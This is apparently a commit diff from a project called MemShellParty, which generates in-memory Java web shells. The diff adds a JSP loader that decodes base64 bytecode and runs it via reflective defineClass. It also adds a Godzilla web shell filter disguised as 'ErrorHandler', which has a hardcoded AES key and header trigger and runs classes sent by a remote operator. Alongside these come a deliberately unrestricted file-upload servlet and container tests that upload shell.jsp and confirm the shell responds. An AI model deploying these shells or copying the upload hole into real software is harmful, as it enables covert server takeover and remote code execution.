org.apache.coyote.jsontype.TypeSerializer
|
||||||
|
org.apache.coyote.jsontype.impl.AsArrayTypeDeserializer
|
||||||
|
org.apache.coyote.jsontype.impl.AsArrayTypeSerializer
|
||||||
|
org.apache.coyote.jsontype.impl.AsExistingPropertyTypeSerializer
|
||||||
|
org.apache.coyote.jsontype.impl.AsExternalTypeDeserializer
|
||||||
|
org.apache.coyote.jsontype.impl.AsExternalTypeSerializer
|
||||||
|
org.apache.coyote.jsontype.impl.AsPropertyTypeDeserializer
|
||||||
|
org.apache.coyote.jsontype.impl.AsPropertyTypeSerializer
|
||||||
|
org.apache.coyote.jsontype.impl.AsWrapperTypeDeserializer
|
||||||
|
org.apache.coyote.jsontype.impl.AsWrapperTypeSerializer
|
||||||
|
org.apache.coyote.jsontype.impl.ClassNameIdResolver
|
||||||
|
org.apache.coyote.jsontype.impl.LaissezFaireSubTypeValidator
|
||||||
|
org.apache.coyote.jsontype.impl.MinimalClassNameIdResolver
|
||||||
|
org.apache.coyote.jsontype.impl.StdSubtypeResolver
|
||||||
|
org.apache.coyote.jsontype.impl.StdTypeResolverBuilder
|
||||||
|
org.apache.coyote.jsontype.impl.SubTypeValidator
|
||||||
|
org.apache.coyote.jsontype.impl.TypeDeserializerBase
|
||||||
|
org.apache.coyote.jsontype.impl.TypeIdResolverBase
|
||||||
|
org.apache.coyote.jsontype.impl.TypeNameIdResolver
|
||||||
|
org.apache.coyote.jsontype.impl.TypeSerializerBase
|
||||||
|
org.apache.coyote.module.SimpleAbstractTypeResolver
|
||||||
|
org.apache.coyote.module.SimpleDeserializers
|
||||||
|
org.apache.coyote.module.SimpleKeyDeserializers
|
||||||
|
org.apache.coyote.module.SimpleModule
|
||||||
|
org.apache.coyote.module.SimpleSerializers
|
||||||
|
org.apache.coyote.module.SimpleValueInstantiators
|
||||||
|
org.apache.coyote.node.ArrayNode
|
||||||
|
org.apache.coyote.node.BaseJsonNode
|
||||||
|
org.apache.coyote.node.BigIntegerNode
|
||||||
|
org.apache.coyote.node.BinaryNode
|
||||||
|
org.apache.coyote.node.BooleanNode
|
||||||
|
org.apache.coyote.node.ContainerNode
|
||||||
|
org.apache.coyote.node.DecimalNode
|
||||||
|
org.apache.coyote.node.DoubleNode
|
||||||
|
org.apache.coyote.node.FloatNode
|
||||||
|
org.apache.coyote.node.IntNode
|
||||||
|
org.apache.coyote.node.InternalNodeMapper
|
||||||
|
org.apache.coyote.node.JsonNodeCreator
|
||||||
|
org.apache.coyote.node.JsonNodeFactory
|
||||||
|
org.apache.coyote.node.JsonNodeType
|
||||||
|
org.apache.coyote.node.LongNode
|
||||||
|
org.apache.coyote.node.MissingNode
|
||||||
|
org.apache.coyote.node.NodeCursor
|
||||||
|
org.apache.coyote.node.NodeSerialization
|
||||||
|
org.apache.coyote.node.NullNode
|
||||||
|
org.apache.coyote.node.NumericNode
|
||||||
|
org.apache.coyote.node.ObjectNode
|
||||||
|
org.apache.coyote.node.POJONode
|
||||||
|
org.apache.coyote.node.ShortNode
|
||||||
|
org.apache.coyote.node.TextNode
|
||||||
|
org.apache.coyote.node.TreeTraversingParser
|
||||||
|
org.apache.coyote.node.ValueNode
|
||||||
|
org.apache.coyote.ser.AnyGetterWriter
|
||||||
|
org.apache.coyote.ser.BasicSerializerFactory
|
||||||
|
org.apache.coyote.ser.BeanPropertyFilter
|
||||||
|
org.apache.coyote.ser.BeanPropertyWriter
|
||||||
|
org.apache.coyote.ser.BeanSerializer
|
||||||
|
org.apache.coyote.ser.BeanSerializerBuilder
|
||||||
|
org.apache.coyote.ser.BeanSerializerFactory
|
||||||
|
org.apache.coyote.ser.BeanSerializerModifier
|
||||||
|
org.apache.coyote.ser.ContainerSerializer
|
||||||
|
org.apache.coyote.ser.ContextualSerializer
|
||||||
|
org.apache.coyote.ser.DefaultSerializerProvider
|
||||||
|
org.apache.coyote.ser.FilterProvider
|
||||||
|
org.apache.coyote.ser.PropertyBuilder
|
||||||
|
org.apache.coyote.ser.PropertyFilter
|
||||||
|
org.apache.coyote.ser.PropertyWriter
|
||||||
|
org.apache.coyote.ser.ResolvableSerializer
|
||||||
|
org.apache.coyote.ser.SerializerCache
|
||||||
|
org.apache.coyote.ser.SerializerFactory
|
||||||
|
org.apache.coyote.ser.Serializers
|
||||||
|
org.apache.coyote.ser.VirtualBeanPropertyWriter
|
||||||
|
org.apache.coyote.ser.impl.AttributePropertyWriter
|
||||||
|
org.apache.coyote.ser.impl.BeanAsArraySerializer
|
||||||
|
org.apache.coyote.ser.impl.FailingSerializer
|
||||||
|
org.apache.coyote.ser.impl.FilteredBeanPropertyWriter
|
||||||
|
org.apache.coyote.ser.impl.IndexedListSerializer
|
||||||
|
org.apache.coyote.ser.impl.IndexedStringListSerializer
|
||||||
|
org.apache.coyote.ser.impl.IteratorSerializer
|
||||||
|
org.apache.coyote.ser.impl.MapEntrySerializer
|
||||||
|
org.apache.coyote.ser.impl.ObjectIdWriter
|
||||||
|
org.apache.coyote.ser.impl.PropertyBasedObjectIdGenerator
|
||||||
|
org.apache.coyote.ser.impl.PropertySerializerMap
|
||||||
|
org.apache.coyote.ser.impl.ReadOnlyClassToSerializerMap
|
||||||
|
org.apache.coyote.ser.impl.SimpleBeanPropertyFilter
|
||||||
|
org.apache.coyote.ser.impl.SimpleFilterProvider
|
||||||
|
org.apache.coyote.ser.impl.StringArraySerializer
|
||||||
|
org.apache.coyote.ser.impl.StringCollectionSerializer
|
||||||
|
org.apache.coyote.ser.impl.TypeWrappedSerializer
|
||||||
|
org.apache.coyote.ser.impl.UnknownSerializer
|
||||||
|
org.apache.coyote.ser.impl.UnwrappingBeanPropertyWriter
|
||||||
|
org.apache.coyote.ser.impl.UnwrappingBeanSerializer
|
||||||
|
org.apache.coyote.ser.impl.WritableObjectId
|
||||||
|
org.apache.coyote.ser.std.ArraySerializerBase
|
||||||
|
org.apache.coyote.ser.std.AsArraySerializerBase
|
||||||
|
org.apache.coyote.ser.std.AtomicReferenceSerializer
|
||||||
|
org.apache.coyote.ser.std.BeanSerializerBase
|
||||||
|
org.apache.coyote.ser.std.BooleanSerializer
|
||||||
|
org.apache.coyote.ser.std.ByteArraySerializer
|
||||||
|
org.apache.coyote.ser.std.ByteBufferSerializer
|
||||||
|
org.apache.coyote.ser.std.CalendarSerializer
|
||||||
|
org.apache.coyote.ser.std.ClassSerializer
|
||||||
|
org.apache.coyote.ser.std.CollectionSerializer
|
||||||
|
org.apache.coyote.ser.std.DateSerializer
|
||||||
|
org.apache.coyote.ser.std.DateTimeSerializerBase
|
||||||
|
org.apache.coyote.ser.std.EnumSerializer
|
||||||
|
org.apache.coyote.ser.std.EnumSetSerializer
|
||||||
|
org.apache.coyote.ser.std.FileSerializer
|
||||||
|
org.apache.coyote.ser.std.InetAddressSerializer
|
||||||
|
org.apache.coyote.ser.std.InetSocketAddressSerializer
|
||||||
|
org.apache.coyote.ser.std.IterableSerializer
|
||||||
|
org.apache.coyote.ser.std.JsonValueSerializer
|
||||||
|
org.apache.coyote.ser.std.MapProperty
|
||||||
|
org.apache.coyote.ser.std.MapSerializer
|
||||||
|
org.apache.coyote.ser.std.NonTypedScalarSerializerBase
|
||||||
|
org.apache.coyote.ser.std.NullSerializer
|
||||||
|
org.apache.coyote.ser.std.NumberSerializer
|
||||||
|
org.apache.coyote.ser.std.NumberSerializers
|
||||||
|
org.apache.coyote.ser.std.ObjectArraySerializer
|
||||||
|
org.apache.coyote.ser.std.RawSerializer
|
||||||
|
org.apache.coyote.ser.std.ReferenceTypeSerializer
|
||||||
|
org.apache.coyote.ser.std.SerializableSerializer
|
||||||
|
org.apache.coyote.ser.std.SqlDateSerializer
|
||||||
|
org.apache.coyote.ser.std.SqlTimeSerializer
|
||||||
|
org.apache.coyote.ser.std.StaticListSerializerBase
|
||||||
|
org.apache.coyote.ser.std.StdArraySerializers
|
||||||
|
org.apache.coyote.ser.std.StdDelegatingSerializer
|
||||||
|
org.apache.coyote.ser.std.StdJdkSerializers
|
||||||
|
org.apache.coyote.ser.std.StdKeySerializer
|
||||||
|
org.apache.coyote.ser.std.StdKeySerializers
|
||||||
|
org.apache.coyote.ser.std.StdScalarSerializer
|
||||||
|
org.apache.coyote.ser.std.StdSerializer
|
||||||
|
org.apache.coyote.ser.std.StringSerializer
|
||||||
|
org.apache.coyote.ser.std.TimeZoneSerializer
|
||||||
|
org.apache.coyote.ser.std.ToStringSerializer
|
||||||
|
org.apache.coyote.ser.std.ToStringSerializerBase
|
||||||
|
org.apache.coyote.ser.std.TokenBufferSerializer
|
||||||
|
org.apache.coyote.ser.std.UUIDSerializer
|
||||||
|
org.apache.coyote.type.ArrayType
|
||||||
|
org.apache.coyote.type.ClassKey
|
||||||
|
org.apache.coyote.type.ClassStack
|
||||||
|
org.apache.coyote.type.CollectionLikeType
|
||||||
|
org.apache.coyote.type.CollectionType
|
||||||
|
org.apache.coyote.type.MapLikeType
|
||||||
|
org.apache.coyote.type.MapType
|
||||||
|
org.apache.coyote.type.PlaceholderForType
|
||||||
|
org.apache.coyote.type.ReferenceType
|
||||||
|
org.apache.coyote.type.ResolvedRecursiveType
|
||||||
|
org.apache.coyote.type.SimpleType
|
||||||
|
org.apache.coyote.type.TypeBase
|
||||||
|
org.apache.coyote.type.TypeBindings
|
||||||
|
org.apache.coyote.type.TypeFactory
|
||||||
|
org.apache.coyote.type.TypeModifier
|
||||||
|
org.apache.coyote.type.TypeParser
|
||||||
|
org.apache.coyote.util.AccessPattern
|
||||||
|
org.apache.coyote.util.Annotations
|
||||||
|
org.apache.coyote.util.ArrayBuilders
|
||||||
|
org.apache.coyote.util.ArrayIterator
|
||||||
|
org.apache.coyote.util.BeanUtil
|
||||||
|
org.apache.coyote.util.ByteBufferBackedInputStream
|
||||||
|
org.apache.coyote.util.ByteBufferBackedOutputStream
|
||||||
|
org.apache.coyote.util.ClassUtil
|
||||||
|
org.apache.coyote.util.CompactStringObjectMap
|
||||||
|
org.apache.coyote.util.Converter
|
||||||
|
org.apache.coyote.util.EnumResolver
|
||||||
|
org.apache.coyote.util.EnumValues
|
||||||
|
org.apache.coyote.util.ISO8601DateFormat
|
||||||
|
org.apache.coyote.util.ISO8601Utils
|
||||||
|
org.apache.coyote.util.JSONPObject
|
||||||
|
org.apache.coyote.util.JSONWrappedObject
|
||||||
|
org.apache.coyote.util.LRUMap
|
||||||
|
org.apache.coyote.util.LinkedNode
|
||||||
|
org.apache.coyote.util.NameTransformer
|
||||||
|
org.apache.coyote.util.Named
|
||||||
|
org.apache.coyote.util.ObjectBuffer
|
||||||
|
org.apache.coyote.util.PrimitiveArrayBuilder
|
||||||
|
org.apache.coyote.util.RawValue
|
||||||
|
org.apache.coyote.util.RootNameLookup
|
||||||
|
org.apache.coyote.util.SimpleBeanPropertyDefinition
|
||||||
|
org.apache.coyote.util.StdConverter
|
||||||
|
org.apache.coyote.util.StdDateFormat
|
||||||
|
org.apache.coyote.util.TokenBuffer
|
||||||
|
org.apache.coyote.util.TokenBufferReadContext
|
||||||
|
org.apache.coyote.util.TypeKey
|
||||||
|
org.apache.coyote.util.ViewMatcher
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
<%!
|
||||||
|
public byte[] decodeBase64(String bytecodeBase64) {
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
try {
|
||||||
|
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
|
||||||
|
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||||
|
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
|
||||||
|
} catch (Exception ee) {
|
||||||
|
try {
|
||||||
|
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||||
|
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
|
||||||
|
} catch (Exception e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
|
||||||
|
<%
|
||||||
|
String className = "{{className}}";
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
try {
|
||||||
|
classLoader.loadClass(className).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
byte[] bytecode = decodeBase64(base64Str);
|
||||||
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
|
||||||
|
clazz.newInstance();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
package com.reajason.javaweb.godzilla;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.util.ClassUtils;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/26
|
||||||
|
*/
|
||||||
|
class GodzillaManagerTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void generateGodzilla() {
|
||||||
|
byte[] bytes = GodzillaManager.generateGodzilla();
|
||||||
|
Object o = ClassUtils.newInstance(bytes);
|
||||||
|
System.out.println(o.getClass().getName());
|
||||||
|
assertNotNull(o);
|
||||||
|
}
|
||||||
|
}
|
||||||
+115
@@ -0,0 +1,115 @@
|
|||||||
|
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GeneratorMain;
|
||||||
|
import com.reajason.javaweb.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.config.GodzillaShellConfig;
|
||||||
|
import com.reajason.javaweb.config.Server;
|
||||||
|
import com.reajason.javaweb.config.ShellTool;
|
||||||
|
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||||
|
import com.reajason.javaweb.memsell.packer.JspPacker;
|
||||||
|
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import okhttp3.*;
|
||||||
|
import org.junit.jupiter.api.DynamicTest;
|
||||||
|
import org.junit.jupiter.api.TestFactory;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/26
|
||||||
|
*/
|
||||||
|
public class TomcatGodzillaIntegrationTest {
|
||||||
|
OkHttpClient client = new OkHttpClient();
|
||||||
|
|
||||||
|
@TestFactory
|
||||||
|
Stream<DynamicTest> testContainerDeployments() {
|
||||||
|
return Stream.of(
|
||||||
|
createCustomContainerTest("tomcat:8-jre8"),
|
||||||
|
createCustomContainerTest("tomcat:9-jre8")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private DynamicTest createCustomContainerTest(String imageName) {
|
||||||
|
Path warPath = Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath();
|
||||||
|
return DynamicTest.dynamicTest("Test " + imageName, () -> {
|
||||||
|
try (GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(MountableFile.forHostPath(warPath), "/usr/local/tomcat/webapps/app.war")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080)) {
|
||||||
|
container.start();
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
|
verifyContainerResponse(url + "/test");
|
||||||
|
|
||||||
|
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
|
||||||
|
.pass("pass").key("key")
|
||||||
|
.headerName("User-Agent").headerValue("test")
|
||||||
|
.build();
|
||||||
|
String jspContent = generateGodzillaFilterJsp(shellConfig);
|
||||||
|
String filename = "shell.jsp";
|
||||||
|
uploadJspFileToServer(url + "/upload", filename, jspContent);
|
||||||
|
verifyContainerResponse(url + "/" + filename);
|
||||||
|
|
||||||
|
testGodzillaIsOk(url + "/" + filename, shellConfig);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private String generateGodzillaFilterJsp(GodzillaShellConfig config) {
|
||||||
|
Server server = Server.TOMCAT;
|
||||||
|
ShellTool shellTool = ShellTool.Godzilla;
|
||||||
|
String shellType = TomcatShell.FILTER;
|
||||||
|
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config);
|
||||||
|
JspPacker jspPacker = new JspPacker();
|
||||||
|
return new String(jspPacker.pack(generateResult));
|
||||||
|
}
|
||||||
|
|
||||||
|
private void verifyContainerResponse(String url) throws IOException {
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(url).build();
|
||||||
|
try (Response response = client.newCall(request).execute()) {
|
||||||
|
assertEquals(200, response.code());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) {
|
||||||
|
RequestBody fileRequestBody = RequestBody.create(fileContent, MediaType.parse("text/plain"));
|
||||||
|
MultipartBody requestBody = new MultipartBody.Builder()
|
||||||
|
.setType(MultipartBody.FORM)
|
||||||
|
.addFormDataPart("file", filename, fileRequestBody)
|
||||||
|
.build();
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(uploadUrl).post(requestBody)
|
||||||
|
.build();
|
||||||
|
try (Response response = client.newCall(request).execute()) {
|
||||||
|
assertEquals(200, response.code());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
|
||||||
|
try (GodzillaManager godzillaManager = new GodzillaManager.GodzillaManagerBuilder()
|
||||||
|
.entrypoint(entrypoint)
|
||||||
|
.pass(shellConfig.getPass())
|
||||||
|
.key(shellConfig.getKey())
|
||||||
|
.header(shellConfig.getHeaderName(), shellConfig.getHeaderValue()).build()) {
|
||||||
|
assertTrue(godzillaManager.start());
|
||||||
|
assertTrue(godzillaManager.test());
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-1
@@ -1,2 +1,3 @@
|
|||||||
rootProject.name = 'MemShellParty'
|
rootProject.name = 'MemShellParty'
|
||||||
include "vul-webapp", "generator"
|
include 'vul-webapp'
|
||||||
|
include 'generator'
|
||||||
@@ -3,12 +3,16 @@ plugins {
|
|||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb.vul'
|
group = 'com.reajason.javaweb.vul'
|
||||||
version = '1.0-SNAPSHOT'
|
version = ''
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
|
implementation 'commons-fileupload:commons-fileupload:1.5'
|
||||||
providedCompile "javax.servlet:servlet-api:2.5"
|
providedCompile "javax.servlet:servlet-api:2.5"
|
||||||
}
|
providedCompile 'jakarta.servlet:jakarta.servlet-api:5.0.0'
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,129 @@
|
|||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.*;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/26
|
||||||
|
*/
|
||||||
|
public class ErrorHandler extends ClassLoader implements Filter {
|
||||||
|
public String key = "3c6e0b8a9c15224a";
|
||||||
|
public String pass = "pass";
|
||||||
|
public String md5 = "11CD6A87589841636C37AC826A2A04BC";
|
||||||
|
public String headerName = "User-Agent";
|
||||||
|
public String headerValue = "test";
|
||||||
|
|
||||||
|
public ErrorHandler() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public ErrorHandler(ClassLoader var1) {
|
||||||
|
super(var1);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class<?> Q(byte[] cb) {
|
||||||
|
return super.defineClass(cb, 0, cb.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception var41) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||||
|
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
byte[] data = base64Decode(request.getParameter(this.pass));
|
||||||
|
data = this.x(data, false);
|
||||||
|
if (session.getAttribute("payload") == null) {
|
||||||
|
session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data));
|
||||||
|
} else {
|
||||||
|
request.setAttribute("parameters", data);
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
|
||||||
|
Object f;
|
||||||
|
try {
|
||||||
|
f = ((Class) session.getAttribute("payload")).newInstance();
|
||||||
|
} catch (IllegalAccessException | InstantiationException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(request);
|
||||||
|
response.getWriter().write(this.md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
|
response.getWriter().write(this.md5.substring(16));
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
} catch (Exception var12) {
|
||||||
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void destroy() {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
Class<?> base64 = Class.forName("java.util.Base64");
|
||||||
|
Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception var61) {
|
||||||
|
try {
|
||||||
|
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object encoder = base64.newInstance();
|
||||||
|
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] base64Decode(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
Class<?> base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var61) {
|
||||||
|
try {
|
||||||
|
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
import org.apache.commons.fileupload.FileItem;
|
||||||
|
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
|
||||||
|
import org.apache.commons.fileupload.servlet.ServletFileUpload;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.http.HttpServlet;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/26
|
||||||
|
*/
|
||||||
|
public class UploadServlet extends HttpServlet {
|
||||||
|
|
||||||
|
private static final String TEMP_DIRECTORY = "/tmp";
|
||||||
|
private static final String UPLOAD_DIRECTORY = "/";
|
||||||
|
private static final int MAX_FILE_SIZE = 1024 * 1024 * 10;
|
||||||
|
private static final int MAX_REQUEST_SIZE = 1024 * 1024 * 50;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||||
|
if (ServletFileUpload.isMultipartContent(request)) {
|
||||||
|
DiskFileItemFactory factory = new DiskFileItemFactory();
|
||||||
|
factory.setSizeThreshold(1024 * 1024);
|
||||||
|
factory.setRepository(new File(TEMP_DIRECTORY));
|
||||||
|
ServletFileUpload upload = new ServletFileUpload(factory);
|
||||||
|
upload.setFileSizeMax(MAX_FILE_SIZE);
|
||||||
|
upload.setSizeMax(MAX_REQUEST_SIZE);
|
||||||
|
try {
|
||||||
|
List<FileItem> items = upload.parseRequest(request);
|
||||||
|
for (FileItem item : items) {
|
||||||
|
if (!item.isFormField()) {
|
||||||
|
String fileName = new File(item.getName()).getName();
|
||||||
|
String uploadPath = getServletContext().getRealPath(UPLOAD_DIRECTORY) + fileName;
|
||||||
|
File uploadFile = new File(uploadPath);
|
||||||
|
item.write(uploadFile);
|
||||||
|
response.getWriter().println("file upload success: " + uploadPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
response.getWriter().println("file upload failed: " + e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -5,4 +5,31 @@
|
|||||||
<welcome-file-list>
|
<welcome-file-list>
|
||||||
<welcome-file>index.html</welcome-file>
|
<welcome-file>index.html</welcome-file>
|
||||||
</welcome-file-list>
|
</welcome-file-list>
|
||||||
|
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>test</servlet-name>
|
||||||
|
<servlet-class>TestServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>test</servlet-name>
|
||||||
|
<url-pattern>/test</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>upload</servlet-name>
|
||||||
|
<servlet-class>UploadServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>upload</servlet-name>
|
||||||
|
<url-pattern>/upload</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
|
||||||
|
<filter>
|
||||||
|
<filter-name>godzilla</filter-name>
|
||||||
|
<filter-class>ErrorHandler</filter-class>
|
||||||
|
</filter>
|
||||||
|
<filter-mapping>
|
||||||
|
<filter-name>godzilla</filter-name>
|
||||||
|
<url-pattern>/test_filter</url-pattern>
|
||||||
|
</filter-mapping>
|
||||||
</web-app>
|
</web-app>
|
||||||
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user